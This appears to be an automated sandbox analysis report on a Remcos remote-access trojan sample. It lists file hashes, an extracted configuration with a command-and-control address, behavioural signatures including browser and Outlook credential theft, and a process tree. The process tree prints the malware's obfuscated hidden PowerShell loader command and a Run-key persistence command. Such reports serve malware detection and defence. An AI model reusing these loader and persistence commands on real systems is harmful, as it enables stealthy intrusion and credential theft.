Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-09-2024 16:53

General

  • Target

    SecuriteInfo.com.Win32.InjectorXgen.20521.11680.exe

  • Size

    967KB

  • MD5

    450228d72f9f726b645c55bbbc6db905

  • SHA1

    b26075c51a4681f2ff7407188f5e9480545a7aca

  • SHA256

    9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be

  • SHA512

    4795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090

  • SSDEEP

    12288:5Ly0W0exb+S7/6eALmQXhts30QmskXnnAEkINz3WSVgl:5Ly05wCmQXw30Ek3AgNz3Sl

Malware Config

Extracted

Family

remcos

Botnet

Rem_doc2

C2

107.173.4.16:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-DSGECX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detected Nirsoft tools 7 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 2 IoCs

    Password recovery tool for various web browsers

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.InjectorXgen.20521.11680.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.InjectorXgen.20521.11680.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5084
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$krjning=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res';$Lukewarmly95=$krjning.SubString(5322,3);.$Lukewarmly95($krjning)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
        "C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe"
        3⤵
        • Checks computer location settings
        • Loads dropped DLL
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:4664
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\SysWOW64\reg.exe
            REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Chivey57" /t REG_EXPAND_SZ /d "%Misbehavers% -windowstyle 1 $Frligheden=(gp -Path 'HKCU:\Software\Roscoelite\').Aftvttedes;%Misbehavers% ($Frligheden)"
            5⤵
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:3308
        • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
          C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\tjtrrean"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:4180
        • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
          C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\edgjsolggwhc"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook accounts
          • System Location Discovery: System Language Discovery
          PID:2644
        • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe
          C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe /stext "C:\Users\Admin\AppData\Local\Temp\oglclhwicezpwyy"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3412

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Vaccinerende.exe

    Filesize

    967KB

    MD5

    450228d72f9f726b645c55bbbc6db905

    SHA1

    b26075c51a4681f2ff7407188f5e9480545a7aca

    SHA256

    9124d7696d2b94e7959933c3f7a8f68e61a5ce29cd5934a4d0379c2193b126be

    SHA512

    4795d090447d237cbe1a044ffe78e8cd0c9be358df778673b4713eab2c324056a7701d22b827b95b2413845089fa71ac81a4f47cc8bcdbabad34845e64b4e090

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqb3ousc.brh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tjtrrean

    Filesize

    4KB

    MD5

    16f4f7c4051f4bbdaa93a1ca80690065

    SHA1

    750cacbdd2d089a88119374560d6ac004954e90e

    SHA256

    6c4559e4413cccaeab73cad48ffd804506c95566e4d6a3f5ae64017a33ea6ec2

    SHA512

    cb0f68d393ad03a5c802a2978ff7b12e20911bac5e27200c2df16d5d3f63dfc2387c0cd1a9075d8e4ba9ae804a6b61225575e2f42b3ef024e863d5b172417964

  • C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Aerognosy.Res

    Filesize

    52KB

    MD5

    552ed0904239d64db1895620b38dc799

    SHA1

    8a6a6c6efd31b04c716cde1783b45783f2843e20

    SHA256

    d4d98fdbe306d61986bed62340744554e0a288c5a804ed5c924f66885cbf3514

    SHA512

    21f283ac39223437470036ec08eb01bf40c4a0c45ea5b94bb4d902cf66923db4d14641ce68370d240ab2b213527552dfde13eb1ff4b21a0bbf0c1ee6aed7ade7

  • C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Valvulate.Cru

    Filesize

    349KB

    MD5

    14c1d52f24f29389597b36dcfc90b95a

    SHA1

    a2578253f17b5f0ef989965dcb74aebb60763b2d

    SHA256

    f9b744d0223efe3c01c94d526881a95523c2f5e457f03774dd1d661944e60852

    SHA512

    4dde50c0b37e51b944a7a61866730e53e96773e28c35260dcae1eb38805251c3ba8e72c5d33ae2cb8d7486a4d3c6c180ec4560e3c20a6c535ca3a70aac158710

  • memory/2644-90-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2644-84-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2644-81-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2644-77-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/3412-88-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3412-89-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3412-85-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3412-97-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3412-91-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/4092-59-0x00000000089A0000-0x000000000D8F5000-memory.dmp

    Filesize

    79.3MB

  • memory/4092-8-0x0000000004AC0000-0x0000000004AF6000-memory.dmp

    Filesize

    216KB

  • memory/4092-28-0x00000000065A0000-0x00000000065BA000-memory.dmp

    Filesize

    104KB

  • memory/4092-32-0x0000000008320000-0x000000000899A000-memory.dmp

    Filesize

    6.5MB

  • memory/4092-34-0x000000006FDE0000-0x000000006FE2C000-memory.dmp

    Filesize

    304KB

  • memory/4092-35-0x000000006FF40000-0x0000000070294000-memory.dmp

    Filesize

    3.3MB

  • memory/4092-33-0x00000000074E0000-0x0000000007512000-memory.dmp

    Filesize

    200KB

  • memory/4092-41-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-46-0x00000000074C0000-0x00000000074DE000-memory.dmp

    Filesize

    120KB

  • memory/4092-47-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-48-0x0000000007530000-0x00000000075D3000-memory.dmp

    Filesize

    652KB

  • memory/4092-49-0x0000000007650000-0x000000000765A000-memory.dmp

    Filesize

    40KB

  • memory/4092-50-0x00000000076A0000-0x00000000076CA000-memory.dmp

    Filesize

    168KB

  • memory/4092-51-0x0000000007DE0000-0x0000000007E04000-memory.dmp

    Filesize

    144KB

  • memory/4092-52-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-54-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-29-0x0000000006600000-0x0000000006622000-memory.dmp

    Filesize

    136KB

  • memory/4092-56-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-57-0x000000007395E000-0x000000007395F000-memory.dmp

    Filesize

    4KB

  • memory/4092-58-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-7-0x000000007395E000-0x000000007395F000-memory.dmp

    Filesize

    4KB

  • memory/4092-60-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-61-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-63-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-27-0x0000000007070000-0x0000000007106000-memory.dmp

    Filesize

    600KB

  • memory/4092-66-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-30-0x00000000076F0000-0x0000000007C94000-memory.dmp

    Filesize

    5.6MB

  • memory/4092-71-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-10-0x0000000005230000-0x0000000005858000-memory.dmp

    Filesize

    6.2MB

  • memory/4092-26-0x00000000060C0000-0x000000000610C000-memory.dmp

    Filesize

    304KB

  • memory/4092-25-0x0000000006090000-0x00000000060AE000-memory.dmp

    Filesize

    120KB

  • memory/4092-24-0x0000000005BB0000-0x0000000005F04000-memory.dmp

    Filesize

    3.3MB

  • memory/4092-14-0x0000000005A40000-0x0000000005AA6000-memory.dmp

    Filesize

    408KB

  • memory/4092-13-0x00000000059D0000-0x0000000005A36000-memory.dmp

    Filesize

    408KB

  • memory/4092-12-0x00000000050E0000-0x0000000005102000-memory.dmp

    Filesize

    136KB

  • memory/4092-11-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4092-9-0x0000000073950000-0x0000000074100000-memory.dmp

    Filesize

    7.7MB

  • memory/4180-82-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4180-80-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4180-74-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4180-100-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/4664-108-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-103-0x0000000023760000-0x0000000023779000-memory.dmp

    Filesize

    100KB

  • memory/4664-107-0x0000000023760000-0x0000000023779000-memory.dmp

    Filesize

    100KB

  • memory/4664-106-0x0000000023760000-0x0000000023779000-memory.dmp

    Filesize

    100KB

  • memory/4664-67-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-109-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-110-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-111-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-112-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-113-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-114-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-115-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB

  • memory/4664-116-0x00000000004D0000-0x0000000001724000-memory.dmp

    Filesize

    18.3MB